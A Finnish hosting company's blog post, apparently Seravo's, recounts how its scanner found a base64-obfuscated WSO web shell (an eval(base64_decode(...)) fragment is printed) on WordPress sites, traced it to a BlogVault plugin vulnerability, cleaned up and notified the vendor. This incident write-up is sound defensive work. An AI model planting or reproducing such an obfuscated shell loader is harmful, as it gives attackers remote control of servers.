Haittakoodi kuriin eli kuinka sivustomurto selvitetään

WordPressin tietoturva-asiat ovat olleet paljon esillä viime aikoina. WP-palvelun asiakkaiden ei tarvitse murehtia tietoturvasta, koska me huolehdimme siitä asiakkaiden puolesta. Näin selvitimme ja siivosimme erään haittakooditapauksen helmikuussa 2017.


Seravon WP-palvelussa kaikkiin WordPress-palvelupaketteihin sisältyy ylläpitoa, jonka puitteissa huolehdimme asiakkaiden puolesta muun muassa sivustojen tietoturvapäivityksistä sekä muusta tietoturvasuojauksesta, https-varmenteista ja varmuuskopioinnista. Mikäli sivustolle suojauksista huolimatta tulee tietoturvamurto, tutkimme ja siivoamme haittakoodit sivustolta ilman lisämaksuja. Tämän ansiosta olemme ainoa WordPress-ylläpitopalvelu, jolla on todellinen kannustin pitää huolta asiakkaiden sivustojen tietoturvasta. Tässä artikkelissa on esimerkki siitä, mitä tietoturvasta huolehtiminen käytännössä voi tarkoittaa.
 

Epäilykset heräävät: tietoturvaskanneri hälyttää

Tapaus alkoi torstaina 2. helmikuuta, kun tietoturvaskannerimme hälytti epäilyttävästä koodista asiakkaan sivustolla. Alla oleva koodinpätkä on tyypillinen haittakoodille: Base64-koodaamalla piilotettua koodia, joka suoritetaan eval()-funktion avulla. Aloitimme sivuston tutkimisen nopeasti ennen kuin tietääksemme haittakoodi oli ehtinyt aktivoitumaan ja esimerkiksi lähettämään roskapostia.

New findings by WP Quick Scanner!
wordpress/htdocs/wordpress/wp-content/common.php:<?php eval(base64_decode("JGF
yclswXT0iQ2lSaGRYUm9YM0JoYzNNZ1BTQWlORE5qTWpoaFpUZzRPR0l3TnpVME0yWmtNMk0wT1RJM
k1qQmlNbVF4TUdNaU93b2tZMjlzYjNJZ1BTQWlJMlJtTlNJN0NpUmtaV1poZFd4MFgyRmpkR2x2Yml
BOUlDZEdhV3hsYzAxaGJpYzdDaVJrWldaaGRXeDBYM1Z6WlY5aGFtRjRJRDBnZEhKMVpUc0tKR1JsW

Tietoturvaongelman oli havainnut samanaikaisesti myös naapuriyrityksen WordPress-kehittäjä, kun täsmälleen sama haittakoodi oli päässyt suunnilleen samaan kellonaikaan myös heidän asiakkaittensa ympäristöihin, joten tiesimme että nyt oli kyse jostakin tavanomaista laajemmasta asiasta.
Haittakoodi löytyi varsinaiseen sivustoon kuulumattomasta PHP-skriptistä, eikä sitä oltu juurikaan pyritty peittelemään. Base64-koodaus on helppo purkaa, joten sen koodin analysointi oli helppoa. Kyseinen ohjelma oli kevyt muunnos WSO SHELL -etähallintatyökalusta, joka on toteutettu mahdollistamaan palvelimen monipuolinen etäkäyttö, kuten tietokantojen hallinta, pääsy tiedostojärjestelmään sekä komentorivikäyttöliittymä sillä käyttöoikeustasolla, jolla www-palvelinta ajetaan.

Kuva: github.com/wso-shell/WSO
Murtautuja oli lisännyt koodiin oman kirjautumissivun kiinteällä salasanallaan, joten sivun avaaminen tuotti ensimmäiseksi kirjautumislomakkeen.

Syyllinen löytyy: haavoittuvuus lisäosassa

Palvelimen lokeja tutkittaessa selvisi, että kyseistä sivua oli kutsuttu testimielessä vain kerran. Kirjautumista ei oltu yritetty eikä ohjelmaa käytetty. Testasimme ohjelmaa suojatussa ympäristössä ja seurasimme, millaisia lokimerkintöjä ohjelman käytöstä palvelimen lokiin jää: jokainen tehty toimi ympäristössä tuotti uusia latauksia, joten näimme, ettei ohjelmaa todellisuudessa oltu vielä kertaakaan ajettu. Todennäköisimmin murtautumisen oli toteuttanut haittaohjelma (botti) ja myös tiedostonlatauksen jälkeen tehty testi oli automaattinen, jolla vain tarkastettiin, että kyseinen skripti on paikoillaan.

Aloitimme tutkimisen hakemalla yhteisiä piirteitä sivustoista, joista kyseinen skripti löydettiin. Kävimme lävitse kohteina olleet WordPress -versiot sekä niihin asennetut lisäosat. Yhteisenä piirteenä havaittiin, että kaikilla murretuilla sivustoilla oli käytössä sivuston varmuuskopiointiin käytettävä BlogVault-lisäosa. Kyseinen lisäosa ei ole WP-palvelun ympäristössä tarpeellinen, koska sivustojen varmuuskopiointi on toteutettu tehokkaasti järjestelmän sisällä.

Tuomio ja seuraamukset: ripeä siivoustyö ja tiedotus asianosaisille

Mitä seuraavaksi tehtiin? Kaikki haittaohjelmat etsittiin, poistettiin ja kyseisten sivustojen BlogVault-lisäosat poistettiin väliaikaisesti käytöstä. Lisäosien päivitys on WP-palvelussa hoidettu automaattisesti, mutta joissakin tapauksissa automaattinen testaus hylkää sen, jolloin lisäosa ei päivity – tällä varmistetaan sivuston toiminta päivityksen jälkeen, koska joissakin ympäristöissä on tiettyihin versioihin sidottuja ominaisuuksia.
Tutkimusta jatkettiin vielä korvaamalla erääseen ympäristöön luotu haittaohjelma toisella skriptillä, joka lähettää ilmoituksen ajettaessa. Seuraavana yönä haittaohjelmaa kutsuttiin kerran samaan aikaan kuin edellisenä yönäkin. Tästä opittiin, että murtautujat testaavat lataamansa ohjelman olemassaoloa automaattisesti.

Asiasta tehtiin ilmoitus BlogVaultin kehittäjälle ja he reagoivat tietoturvaongelmaan nopeasti. Päivitys julkaistiin hyvin nopeasti ja lisäosat päästiin päivittämään turvalliseen versioon. Lähetimme WP-palvelun asiakkaille myös erikseen tiedotteen havaitusta tietoturva-aukosta.
 

Pidä lisäosat kurissa – ja ajan tasalla

Kun WordPressiä syytetään tietoturvaongelmista, syyt löytyvät hyvin usein vanhentuneista tai turhista lisäosista. Olemme julkaisseet kattavan ohjeen WP-palvelussa suositelluista lisäosista ja vältettävien lisäosien joukkoon lisättiin nyt myös BlogVault. Listaan kannattaa perehtyä, jotta sivustoilla olisi käytössä tehokkaimmat ja turvallisimmat lisäosat, ja toisaalta vältyttäisiin turhien lisäosien käytöltä.

Ehdottoman tärkeää on myös muistaa pitää sekä WordPressin ydin, teemat että lisäosat päivitettyinä uusimpaan versioon. Tällä hetkellä ajantasaisin versio on WordPress 4.7.2, jossa on korjattu edellisen päivityksen vakava tietoturva-aukko. Asiakkaidemme sivustot päivitettiin tuohon versioon 27.1.2017, vuorokauden sisällä sen julkaisusta.

WordPress ja tietoturva

Lue lisää WordPress-tietoturvasta: WordPress Security 101